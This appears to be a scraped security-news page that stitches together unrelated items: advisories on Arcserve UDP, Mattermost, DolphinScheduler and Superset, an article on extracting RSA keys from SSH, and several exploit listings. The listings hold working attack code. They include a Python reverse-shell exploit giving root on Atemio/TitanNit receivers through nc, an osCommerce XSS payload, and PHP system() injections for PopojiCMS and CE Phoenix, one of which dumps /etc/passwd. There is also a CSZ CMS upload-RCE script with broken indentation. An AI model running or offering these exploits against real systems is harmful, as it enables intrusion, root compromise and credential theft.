An authentication bypass exists in Arcserve UDP prior to version 9.2. An unauthenticated, remote attacker can obtain a valid authentication identifier that allows them to authenticate to the management console and perform tasks that require authentication.

_All information within TRA advisories is provided “as is”, without warranty of any kind, including the implied warranties of merchantability and fitness for a particular purpose, and with no guarantee of completeness, accuracy, or timeliness. Individuals and organizations are responsible for assessing the impact of any actual or potential security vulnerability._

_Tenable takes product security very seriously. If you believe you have found a vulnerability in one of our products, we ask that you please work with us to quickly resolve it in order to protect customers. Tenable believes in responding quickly to such reports, maintaining communication with researchers, and providing a solution in short order._

_For more details on submitting vulnerability information, please see our Vulnerability Reporting Guidelines page._

_If you have questions or corrections about this advisory, please email \[email protected\]_

**Tenable Advisory ID:** TRA-2023-37

**Affected Products:**  
Arcserve UDP prior to 9.2

**Risk Factor:**  
Critical

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CVE-2023-41999: Arcserve Unified Data Protection Multiple Vulnerabilities

The Atemio AM 520 HD Full HD satellite receiver has a vulnerability that enables an unauthorized attacker to execute system commands with elevated privileges. This exploit is facilitated through the use of the getcommand query within the application, allowing the attacker to gain root access. Firmware versions 2.01 and below are affected.

    #!/usr/bin/env python# -*- coding: utf-8 -*-### TitanNit Web Control 2.01 / Atemio 7600 Root Remote Code Execution### Vendor: AAF Digital HD Forum | Atelmo GmbH# Product web page: http://www.aaf-digital.info | https://www.atemio.de# Affected version: Firmware <=2.01## Summary: The Atemio AM 520 HD Full HD satellite receiver enables the# reception of digital satellite programs in overwhelming image quality# in both SD and HD ranges. In addition to numerous connections, the small# all-rounder offers a variety of plugins that can be easily installed# thanks to the large flash memory. The TitanNit Linux software used combines# the advantages of the existing E2 and Neutrino systems and is therefore# fast, stable and adaptable.## Desc: The vulnerability in the device enables an unauthorized attacker# to execute system commands with elevated privileges. This exploit is# facilitated through the use of the 'getcommand' query within the application,# allowing the attacker to gain root access.## ========================================================================# _# python titannnit_rce.py 192.168.1.13:20000 192.168.1.8 9999# [*] Starting callback listener child thread# [*] Listening on port 9999# [*] Generating callback payload# [*] Calling# [*] Callback waiting: 3s# [*] ('192.168.1.13', 40943) called back# [*] Rootshell session opened# sh: cannot set terminal process group (1134): Inappropriate ioctl for device# sh: no job control in this shell# sh-5.1# id# <-sh-5.1# id# uid=0(root) gid=0(root)# sh-5.1# cat /etc/shadow | grep root# <-sh-5.1# cat /etc/shadow | grep root# root:$6$TAdBGj2mY***:18729:0:99999:7:::# sh-5.1# exit# [*] OK, bye!## _# # =======================================================================## Tested on: GNU/Linux 2.6.32.71 (STMicroelectronics)#            GNU/Linux 3.14-1.17 (armv7l)#            GNU/Linux 3.14.2 (mips)#            ATEMIO M46506 revision 990#            Atemio 7600 HD STB#            CPU STx7105 Mboard#            titan web server### Vulnerability discovered by Gjoko 'LiquidWorm' Krstic#                             @zeroscience### Advisory ID: ZSL-2023-5801# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2023-5801.php### 16.11.2023#from time import sleepimport threadingimport requestsimport socketimport sysclass RemoteControl:    def __init__(self):        self.timeout = 10        self.target = None        self.callback = None        self.cstop = threading.Event()        self.path = "/query?getcommand=&cmd="        self.lport = None        self.cmd = None    def beacon(self):        self.cmd   = "mkfifo /tmp/j;cat /tmp/j|sh -i 2>&1|nc "        self.cmd  += self.callback + " "        self.cmd  += str(self.lport) + " "        self.cmd  += ">/tmp/j"        self.path += self.cmd        r = requests.get(self.target + self.path)    def slusaj(self):        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)        s.bind(("0.0.0.0", self.lport))        s.listen(1)        print("[*] Listening on port " + str(self.lport))        sleep(1)        try:            conn, addr = s.accept()            print("\n[*]", addr, "called back")            print("[*] Rootshell session opened")            self.cstop.set()        except socket.timeout:            print("[-] Call return timeout\n[!] Check your ports")            conn.close()        while True:            try:                odg = conn.recv(999999).decode()                sys.stdout.write(odg)                command = input()                command += "\n"                if "exit" in command:                    exit(-17)                conn.send(command.encode())                sleep(0.5)                sys.stdout.write("<-" + odg.split("\n")[-1])            except:                print("[*] OK, bye!")                exit(-1)        s.close()    def tajmer(self):        for z in range(self.timeout, 0, -1):            poraka = f"[*] Callback waiting: {z}s"            print(poraka, end='', flush=True)            sys.stdout.flush()            sleep(1)            if self.cstop.is_set():                break            print(' ' * len(poraka), end='\r')        if not self.cstop.is_set():            print("[-] Call return timeout\n[!] Check your ports")            exit(0)        else:            print(end=' ')    def thricer(self):        print("[*] Starting callback listener child thread")        plet1 = threading.Thread(name="ZSL", target=self.slusaj)        plet1.start()        sleep(1)        print("[*] Generating callback payload")        sleep(1)        print("[*] Calling")        plet2 = threading.Thread(name="ZSL", target=self.tajmer)        plet2.start()        self.beacon()        plet1.join()        plet2.join()    def howto(self):        if len(sys.argv) != 4:            self.usage()        else:            self.target = sys.argv[1]            self.callback = sys.argv[2]            self.lport = int(sys.argv[3])            if not self.target.startswith("http"):                self.target = "http://{}".format(self.target)    def dostabesemolk(self):        naslov = """    o===--------------------------------------===o    |                                            |    | TitanNit Web Control Remote Code Execution |    |                ZSL-2023-5801               |    |                                            |    o===--------------------------------------===o                          ||                          ||                          ||                          ||                          ||                          ||                          ||                          ||                          L!                         /_)                        / /L_______________________/ (__)_______________________  (__)                       \_(__)                          ||                          ||                          ||                          ||                          ||                          ||        """        print(naslov)    def usage(self):        self.dostabesemolk()        print("Usage: ./titan.py <target ip> <listen ip> <listen port>")        print("Example: ./titan.py 192.168.1.13:20000 192.168.1.8 9999")        exit(0)    def main(self):        self.howto()        self.thricer()if __name__ == '__main__':    RemoteControl().main()

TitanNit Web Control 2.01 / Atemio 7600 Root Remote Command Execution

osCommerce version 4 suffers from a cross site scripting vulnerability.

    # Exploit Title: osCommerce 4 - Reflected XSS# Exploit Author: CraCkEr# Date: 13/11/2023# Vendor: osCommerce ltd.# Vendor Homepage: https://www.oscommerce.com/# Software Link: https://demo.oscommerce.com/# Demo Link: https://demo.oscommerce.com/printshop/# Tested on: Windows 11 Home# Impact: Manipulate the content of the site# CWE: CWE-79 - CWE-74 - CWE-707# CVE: CVE-2023-6296## GreetingsThe_PitBull, Raz0r, iNs, SadsouL, His0k4, Hussin X, Mr. SQL, MoizSid09, indoushkaCryptoJob (Twitter) twitter.com/0x0CryptoJob## DescriptionAttacker can send to victim a link containing a malicious URL in an email or instant messagecan perform a wide variety of actions, such as stealing the victim's session token or login credentialsPath: /catalog/compareGET parameter 'compare[]' is vulnerable to XSShttps://website/catalog/compare?compare[]=40dz4iq"><script>alert(1)</script>zohkx[-] Done

osCommerce 4 Cross Site Scripting

PopojiCMS version 2.0.1 suffers from a remote command execution vulnerability.

    # Exploit Title: PopojiCMS Version : 2.0.1  Remote Command Execution# Date: 27/11/2023# Exploit Author: tmrswrr# Vendor Homepage: https://www.popojicms.org/# Software Link: https://github.com/PopojiCMS/PopojiCMS/archive/refs/tags/v2.0.1.zip# Version: Version : 2.0.1# Tested on: https://www.softaculous.com/apps/cms/PopojiCMS##POC:1 ) Login with admin cred and click settings2 ) Click on config , write your payload in Meta Social > <?php echo system('id'); ?>3 ) Open main page , you will be see id command result POST /PopojiCMS9zl3dxwbzt/po-admin/route.php?mod=setting&act=metasocial HTTP/1.1Host: demos5.softaculous.comCookie: _ga_YYDPZ3NXQQ=GS1.1.1701095610.3.1.1701096569.0.0.0; _ga=GA1.1.386621536.1701082112; AEFCookies1526[aefsid]=3cbt9mdj1kpi06aj1q5r8yhtgouteb5s; PHPSESSID=b6f1f9beefcec94f09824efa9dae9847; lang=gb; demo_563=%7B%22sid%22%3A563%2C%22adname%22%3A%22admin%22%2C%22adpass%22%3A%22password%22%2C%22url%22%3A%22http%3A%5C%2F%5C%2Fdemos5.softaculous.com%5C%2FPopojiCMS9zl3dxwbzt%22%2C%22adminurl%22%3A%22http%3A%5C%2F%5C%2Fdemos5.softaculous.com%5C%2FPopojiCMS9zl3dxwbzt%5C%2Fpo-admin%5C%2F%22%2C%22dir_suffix%22%3A%229zl3dxwbzt%22%7DUser-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: https://demos5.softaculous.com/PopojiCMS9zl3dxwbzt/po-admin/admin.php?mod=settingContent-Type: application/x-www-form-urlencodedContent-Length: 58Origin: https://demos5.softaculous.comDnt: 1Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: same-originSec-Fetch-User: ?1Te: trailersConnection: closemeta_content=%3C%3Fphp+echo+system%28%27id%27%29%3B+%3F%3EResult: uid=1000(soft) gid=1000(soft) groups=1000(soft) uid=1000(soft) gid=1000(soft) groups=1000(soft)

PopojiCMS 2.0.1 Remote Command Execution

CSZ CMS version 1.3.0 suffers from a remote command execution vulnerability. Exploit written in Python.

# Exploit Title: CSZ CMS Version 1.3.0 Remote Command Execution  
# Date: 17/11/2023  
# Exploit Author: tmrswrr  
# Vendor Homepage: https://www.cszcms.com/  
# Software Link: https://www.cszcms.com/link/3#https://sourceforge.net/projects/cszcms/files/latest/download  
# Version: Version 1.3.0  
# Tested on: https://www.softaculous.com/apps/cms/CSZ_CMS

import os  
import zipfile  
from selenium import webdriver  
from selenium.webdriver.common.by import By  
from selenium.webdriver.firefox.options import Options as FirefoxOptions  
from selenium.webdriver.firefox.service import Service as FirefoxService  
from webdriver_manager.firefox import GeckoDriverManager  
from selenium.webdriver.support.ui import WebDriverWait  
from selenium.webdriver.support import expected_conditions as EC  
from selenium.common.exceptions import NoSuchElementException, TimeoutException  
import requests  
from time import sleep  
import sys  
import random  
import time  
import platform  
import tarfile  
from io import BytesIO

email = "admin@admin.com"   
password = "password"

class colors:  
    OKBLUE = '\033[94m'  
    WARNING = '\033[93m'  
    FAIL = '\033[91m'  
    ENDC = '\033[0m'  
    BOLD = '\033[1m'  
    UNDERLINE = '\033[4m'  
    CBLACK = '\33[30m'  
    CRED = '\33[31m'  
    CGREEN = '\33[32m'  
    CYELLOW = '\33[33m'  
    CBLUE = '\33[34m'  
    CVIOLET = '\33[35m'  
    CBEIGE = '\33[36m'  
    CWHITE = '\33[37m'

color_random = [colors.CBLUE, colors.CVIOLET, colors.CWHITE, colors.OKBLUE, colors.CGREEN, colors.WARNING,  
                colors.CRED, colors.CBEIGE]  
random.shuffle(color_random)

def entryy():  
    x = color_random[0] + """

╭━━━┳━━━┳━━━━╮╭━━━┳━╮╭━┳━━━╮╭━━━┳━━━┳━━━╮╭━━━┳━╮╭━┳━━━┳╮╱╱╭━━━┳━━┳━━━━╮  
┃╭━╮┃╭━╮┣━━╮━┃┃╭━╮┃┃╰╯┃┃╭━╮┃┃╭━╮┃╭━╮┃╭━━╯┃╭━━┻╮╰╯╭┫╭━╮┃┃╱╱┃╭━╮┣┫┣┫╭╮╭╮┃  
┃┃╱╰┫╰━━╮╱╭╯╭╯┃┃╱╰┫╭╮╭╮┃╰━━╮┃╰━╯┃┃╱╰┫╰━━╮┃╰━━╮╰╮╭╯┃╰━╯┃┃╱╱┃┃╱┃┃┃┃╰╯┃┃╰╯  
┃┃╱╭╋━━╮┃╭╯╭╯╱┃┃╱╭┫┃┃┃┃┣━━╮┃┃╭╮╭┫┃╱╭┫╭━━╯┃╭━━╯╭╯╰╮┃╭━━┫┃╱╭┫┃╱┃┃┃┃╱╱┃┃  
┃╰━╯┃╰━╯┣╯━╰━╮┃╰━╯┃┃┃┃┃┃╰━╯┃┃┃┃╰┫╰━╯┃╰━━╮┃╰━━┳╯╭╮╰┫┃╱╱┃╰━╯┃╰━╯┣┫┣╮╱┃┃  
╰━━━┻━━━┻━━━━╯╰━━━┻╯╰╯╰┻━━━╯╰╯╰━┻━━━┻━━━╯╰━━━┻━╯╰━┻╯╱╱╰━━━┻━━━┻━━╯╱╰╯

                <<   CSZ CMS Version 1.3.0 RCE     >>  
                <<      CODED BY TMRSWRR           >>  
                <<     GITHUB==>capture0x          >>

\n"""  
    for c in x:  
        print(c, end='')  
        sys.stdout.flush()  
        sleep(0.0045)  
    oo = " " * 6 + 29 * "░⣿" + "\n\n"  
    for c in oo:  
        print(colors.CGREEN + c, end='')  
        sys.stdout.flush()  
        sleep(0.0065)

    tt = " " * 5 + "░⣿" + " " * 6 + "WELCOME TO CSZ CMS Version 1.3.0 RCE Exploit" + " " * 7 + "░⣿" + "\n\n"  
    for c in tt:  
        print(colors.CWHITE + c, end='')  
        sys.stdout.flush()  
        sleep(0.0065)  
    xx = " " * 6 + 29 * "░⣿" + "\n\n"  
    for c in xx:  
        print(colors.CGREEN + c, end='')  
        sys.stdout.flush()  
        sleep(0.0065)

def check_geckodriver():  
    current_directory = os.path.dirname(os.path.abspath(__file__))  
    geckodriver_path = os.path.join(current_directory, 'geckodriver')

    if not os.path.isfile(geckodriver_path):  
        red = "\033[91m"  
        reset = "\033[0m"  
        print(red + "\n\nGeckoDriver (geckodriver) is not available in the script's directory." + reset)  
        user_input = input("Would you like to download it now? (yes/no): ").lower()  
        if user_input == 'yes':  
            download_geckodriver(current_directory)  
        else:  
            print(red + "Please download GeckoDriver manually from: https://github.com/mozilla/geckodriver/releases" + reset)  
            sys.exit(1)

def download_geckodriver(directory):

    print("[*] Detecting OS and architecture...")  
    os_name = platform.system().lower()  
    arch, _ = platform.architecture()

    if os_name == "linux":  
        os_name = "linux"  
        arch = "64" if arch == "64bit" else "32"  
    elif os_name == "darwin":  
        os_name = "macos"  
        arch = "aarch64" if platform.processor() == "arm" else ""  
    elif os_name == "windows":  
        os_name = "win"  
        arch = "64" if arch == "64bit" else "32"  
    else:  
        print("[!] Unsupported operating system.")  
        sys.exit(1)

    geckodriver_version = "v0.33.0"  
    geckodriver_file = f"geckodriver-{geckodriver_version}-{os_name}{arch}"  
    ext = "zip" if os_name == "win" else "tar.gz"  
    url = f"https://github.com/mozilla/geckodriver/releases/download/{geckodriver_version}/{geckodriver_file}.{ext}"

    print(f"[*] Downloading GeckoDriver for {platform.system()} {arch}-bit...")  
    response = requests.get(url, stream=True)

    if response.status_code == 200:  
        print("[*] Extracting GeckoDriver...")  
        if ext == "tar.gz":  
            with tarfile.open(fileobj=BytesIO(response.content), mode="r:gz") as tar:  
                tar.extractall(path=directory)  
        else:     
            with zipfile.ZipFile(BytesIO(response.content)) as zip_ref:  
                zip_ref.extractall(directory)  
        print("[+] GeckoDriver downloaded and extracted successfully.")  
    else:  
        print("[!] Failed to download GeckoDriver.")  
        sys.exit(1)

        def create_zip_file(php_filename, zip_filename, php_code):  
    try:  
        with open(php_filename, 'w') as file:  
            file.write(php_code)  
        with zipfile.ZipFile(zip_filename, 'w') as zipf:  
            zipf.write(php_filename)  
        print("[+] Zip file created successfully.")  
        os.remove(php_filename)  
        return zip_filename  
    except Exception as e:  
        print(f"[!] Error creating zip file: {e}")  
        sys.exit(1)

def main(base_url, command):

    if not base_url.endswith('/'):  
        base_url += '/'

            zip_filename = None   

    check_geckodriver()  
    try:  
        firefox_options = FirefoxOptions()  
        firefox_options.add_argument("--headless")

        script_directory = os.path.dirname(os.path.abspath(__file__))  
        geckodriver_path = os.path.join(script_directory, 'geckodriver')  
        service = FirefoxService(executable_path=geckodriver_path)  
        driver = webdriver.Firefox(service=service, options=firefox_options)  
        print("[*] Exploit initiated.")

        # Login  
        driver.get(base_url + "admin/login")  
        print("[*] Accessing login page...")  
        driver.find_element(By.NAME, "email").send_keys(f"{email}")  
        driver.find_element(By.NAME, "password").send_keys(f"{password}")  
        driver.find_element(By.ID, "login_submit").click()  
        print("[*] Credentials submitted...")

         try:  
            error_message = driver.find_element(By.XPATH, "//*[contains(text(), 'Email address/Password is incorrect')]")  
            if error_message.is_displayed():  
                print("[!] Login failed: Invalid credentials.")  
                driver.quit()  
                sys.exit(1)  
        except NoSuchElementException:  
            print("[+] Login successful.")

        # File creation    
        print("[*] Preparing exploit files...")  
        php_code = f"<?php echo system('{command}'); ?>"  
        zip_filename = create_zip_file("exploit.php", "payload.zip", php_code)

         driver.get(base_url + "admin/upgrade")  
        print("[*] Uploading exploit payload...")  
        file_input = driver.find_element(By.ID, "file_upload")  
        file_input.send_keys(os.path.join(os.getcwd(), zip_filename))

    # Uploading  
        driver.find_element(By.ID, "submit").click()  
        WebDriverWait(driver, 10).until(EC.alert_is_present())  
        alert = driver.switch_to.alert  
        alert.accept()

        # Exploit result   
        exploit_url = base_url + "exploit.php"  
        response = requests.get(exploit_url)  
        print(f"[+] Exploit response:\n\n{response.text}")

    except Exception as e:  
        print(f"[!] Error: {e}")  
    finally:  
        driver.quit()  
        if zip_filename and os.path.exists(zip_filename):  
            os.remove(zip_filename)

if __name__ == "__main__":  
    entryy()  
    if len(sys.argv) < 3:  
        print("Usage: python script.py [BASE_URL] [COMMAND]")  
    else:  
        main(sys.argv[1], sys.argv[2])

CSZ CMS 1.3.0 Remote Command Execution

CE Phoenix version 1.0.8.20 suffers from an authenticated remote command execution vulnerability.

    ## Exploit Title: CE Phoenix v1.0.8.20 - Remote Code Execution (RCE) (Authenticated)#### Date: 2023-11-25#### Exploit Author: tmrswrr#### Category: Webapps#### Vendor Homepage: [CE Phoenix](https://phoenixcart.org/)#### Version: v1.0.8.20#### Tested on: [Softaculous Demo - CE Phoenix](https://www.softaculous.com/apps/ecommerce/CE_Phoenix)### POC:<img src="https://raw.githubusercontent.com/capture0x/Phoenix/main/1.png" alt="Magento Image" width="1000"><img src="https://raw.githubusercontent.com/capture0x/Phoenix/main/2.png" alt="Magento Image" width="1000">1. **Login to admin panel:**     - Visit: `https://demos6.softaculous.com/CE_Phoenixvkqhcarjmw/admin/define_language.php?lngdir=english`    2. **Access english.php:**    - Click on `english.php` and inject the payload:     ```    <?php echo system('cat /etc/passwd'); ?>    ```    3. **Save Changes:**    - Save the modified file.4. **View Results:**    - Visit the main page: `https://demos6.softaculous.com/CE_Phoenixvkqhcarjmw/`    - You will see the following result:root:x:0:0:root:/root:/bin/bashbin:x:1:1:bin:/bin:/sbin/nologindaemon:x:2:2:daemon:/sbin:/sbin/nologinadm:x:3:4:adm:/var/adm:/sbin/nologinlp:x:4:7:lp:/var/spool/lpd:/sbin/nologinsync:x:5:0:sync:/sbin:/bin/syncshutdown:x:6:0:shutdown:/sbin:/sbin/shutdownhalt:x:7:0:halt:/sbin:/sbin/haltmail:x:8:12:mail:/var/spool/mail:/sbin/nologinoperator:x:11:0:operator:/root:/sbin/nologingames:x:12:100:games:/usr/games:/sbin/nologinftp:x:14:50:FTP User:/var/ftp:/sbin/nologinnobody:x:99:99:Nobody:/:/sbin/nologinsystemd-bus-proxy:x:999:998:systemd Bus Proxy:/:/sbin/nologinsystemd-network:x:192:192:systemd Network Management:/:/sbin/nologindbus:x:81:81:System message bus:/:/sbin/nologinpolkitd:x:998:997:User for polkitd:/:/sbin/nologintss:x:59:59:Account used by the trousers package to sandbox the tcsd daemon:/dev/null:/sbin/nologinsshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologinpostfix:x:89:89::/var/spool/postfix:/sbin/nologinchrony:x:997:995::/var/lib/chrony:/sbin/nologinsoft:x:1000:1000::/home/soft:/sbin/nologinsaslauth:x:996:76:Saslauthd user:/run/saslauthd:/sbin/nologinmailnull:x:47:47::/var/spool/mqueue:/sbin/nologinsmmsp:x:51:51::/var/spool/mqueue:/sbin/nologinemps:x:995:1001::/home/emps:/bin/bashnamed:x:25:25:Named:/var/named:/sbin/nologinexim:x:93:93::/var/spool/exim:/sbin/nologinvmail:x:5000:5000::/var/local/vmail:/bin/bashmysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/falsewebuzo:x:993:993::/home/webuzo:/bin/bashapache:x:992:991::/home/apache:/sbin/nologinapache:x:992:991::/home/apache:/sbin/nologin

CE Phoenix 1.0.8.20 Remote Command Execution

A new study has demonstrated that it's possible for passive network attackers to obtain private RSA host keys from a vulnerable SSH server by observing when naturally occurring computational faults that occur while the connection is being established.
The Secure Shell (SSH) protocol is a method for securely transmitting commands and logging in to a computer over an unsecured network. Based on a

Server Security / Encryption

A new study has demonstrated that it's possible for passive network attackers to obtain private RSA host keys from a vulnerable SSH server by observing when naturally occurring computational faults that occur while the connection is being established.

The Secure Shell (SSH) protocol is a method for securely transmitting commands and logging in to a computer over an unsecured network. Based on a client-server architecture, SSH uses cryptography to authenticate and encrypt connections between devices.

A host key is a cryptographic key used for authenticating computers in the SSH protocol. Host keys are key pairs that are typically generated using public-key cryptosystems like RSA.

"If a signing implementation using CRT-RSA has a fault during signature computation, an attacker who observes this signature may be able to compute the signer's private key," a group of academics from the University of California, San Diego, and Massachusetts Institute of Technology said in a paper this month.

In other words, a passive adversary can quietly keep track of legitimate connections without risking detection until they observe a faulty signature that exposes the private key. The bad actor can then masquerade as the compromised host to intercept sensitive data and stage adversary-in-the-middle (AitM) attacks.

The researchers described the method as a lattice-based key recovery fault attack, which allowed them to retrieve the private keys corresponding to 189 unique RSA public keys that were subsequently traced to devices from four manufacturers: Cisco, Hillstone Networks, Mocana, and Zyxel.

It's worth noting that the release of TLS version 1.3 in 2018 acts as a countermeasure by encrypting the handshake that establishes the connection, thus preventing passive eavesdroppers from accessing the signatures.

"These attacks provide a concrete illustration of the value of several design principles in cryptography: encrypting protocol handshakes as soon as a session key is negotiated to protect metadata, binding authentication to a session, and separating authentication from encryption keys," the researchers said.

The findings come two months after the disclosure of Marvin Attack, a variant of the ROBOT (short for "Return Of Bleichenbacher's Oracle Threat") Attack which allows a threat actor to decrypt RSA ciphertexts and forge signatures by exploiting security weaknesses in PKCS #1 v1.5.

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Experts Uncover Passive Method to Extract Private RSA Keys from SSH Connections

Mattermost fails to perform proper authorization in the `/plugins/focalboard/api/v2/users` endpoint allowing an attacker who is a guest user and knows the ID of another user to get their information (e.g. name, surname, nickname) via Mattermost Boards.



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1.  GitHub Advisory Database
2.  GitHub Reviewed
3.  CVE-2023-6202

**Mattermost Improper Access Control vulnerability**

Moderate severity GitHub Reviewed Published Nov 27, 2023 to the GitHub Advisory Database • Updated Nov 28, 2023

**Package**

gomod github.com/mattermost/mattermost-server/v6 (Go)

**Affected versions**

< 7.8.13

gomod github.com/mattermost/mattermost/server/v8 (Go)

\>= 9.1.0, < 9.1.1

\>= 9.0.0, < 9.0.2

< 8.1.4

**Description**

Published to the GitHub Advisory Database

Nov 27, 2023

Last updated

Nov 28, 2023

GHSA-85jj-c9jr-9jhx: Mattermost Improper Access Control vulnerability

Exposure of Sensitive Information to an Unauthorized Actor vulnerability in Apache DolphinScheduler. This issue affects Apache DolphinScheduler: before 3.2.1.

Users are recommended to upgrade to version 3.2.1, which fixes the issue. At the time of disclosure of this advisory, this version has not yet been released. In the mean time, we recommend you make sure the logs are only available to trusted operators.



**Apache DolphinScheduler Exposure of Sensitive Information to an Unauthorized Actor vulnerability**

Moderate severity GitHub Reviewed Published Nov 27, 2023 to the GitHub Advisory Database • Updated Nov 28, 2023

GHSA-c6cg-73p3-973h: Apache DolphinScheduler Exposure of Sensitive Information to an Unauthorized Actor vulnerability

Unnecessary read permissions within the Gamma role would allow authenticated users to read configured CSS templates and annotations.
This issue affects Apache Superset: before 2.1.2.
Users should upgrade to version or above 2.1.2 and run `superset init` to reconstruct the Gamma role or remove `can_read` permission from the mentioned resources.



**Apache Superset has Incorrect Default Permissions**

Moderate severity GitHub Reviewed Published Nov 27, 2023 to the GitHub Advisory Database • Updated Nov 28, 2023

Tag

#auth